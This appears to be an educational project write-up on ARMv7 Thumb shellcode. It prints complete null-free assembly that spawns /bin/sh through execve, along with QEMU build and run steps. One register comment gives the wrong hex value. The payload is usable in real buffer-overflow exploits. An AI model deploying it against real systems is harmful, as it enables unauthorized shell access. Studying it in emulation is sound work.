Three-phase security project on ARMv7 architecture. Position-independent shellcode in Thumb mode with null-byte avoidance and direct syscall invocation. Phase 1 complete.
This project explores low-level ARMv7 exploitation techniques through a structured three-phase progression. Each phase builds on the previous, covering local execution, network-based access, and post-exploitation. The target environment is ARMv7 (32-bit) running under QEMU user-mode emulation on Linux.
The core constraint throughout: shellcode must be fully position-independent and null-byte free, making it compatible with string-based exploitation vectors such as strcpy buffer overflows where a 0x00 byte would terminate the payload.
| Register | Value | Purpose |
|---|---|---|
| R0 | SP (stack pointer) | Pointer to "//bin/sh" on stack — execve filename arg |
| R1 | 0x00000000 (zeroed via EOR) | NULL — argv (no arguments) |
| R2 | 0x00000000 (zeroed via EOR) | NULL — envp (no environment) |
| R7 | 11 (0x0B) | Syscall number — execve |
.section .text .global _start _start: @ Switch to Thumb mode — ARM → Thumb state transition .code 32 add r3, pc, #1 @ compute odd address (Thumb) bx r3 @ branch → switches to Thumb mode .code 16 @ Zero out registers — EOR avoids 0x00 bytes in encoding eor r0, r0 @ R0 = 0 eor r1, r1 @ R1 = 0 eor r2, r2 @ R2 = 0 push {r1} @ push null terminator onto stack @ Build "n/sh" byte-by-byte and push — high half of string mov r3, #0x68 @ 'h' lsl r3, #8 add r3, #0x73 @ 's' lsl r3, #8 add r3, #0x2f @ '/' lsl r3, #8 add r3, #0x6e @ 'n' → R3 = 0x6e2f7368 ("n/sh") push {r3} @ push high half @ Build "//bi" byte-by-byte and push — low half of string mov r3, #0x69 @ 'i' lsl r3, #8 add r3, #0x62 @ 'b' lsl r3, #8 add r3, #0x2f @ '/' lsl r3, #8 add r3, #0x2f @ '/' → R3 = 0x2f2f6269 ("//bi") push {r3} @ push low half → memory: "//bin/sh\0" @ Set up execve(filename, NULL, NULL) mov r0, sp @ R0 = pointer to "//bin/sh" on stack mov r7, #11 @ R7 = execve syscall number svc #1 @ kernel call → shell spawned
# Assemble and link arm-linux-gnueabi-as -o shellcode.o shellcode.s arm-linux-gnueabi-ld -o shellcode shellcode.o # Or with Make make # Run under QEMU user-mode emulation qemu-arm ./shellcode # Expected output: shell prompt ($) — execve succeeded
Prerequisites: gcc-arm-linux-gnueabi and qemu-user. Verification via GDB — memory visualization of stack alignment and register states before the SVC instruction confirms correct setup.
This project is for educational purposes only — it demonstrates low-level ARMv7 architecture concepts, memory management, and Linux system call interfaces. All testing is performed in an isolated QEMU environment on personal hardware. No real systems are targeted.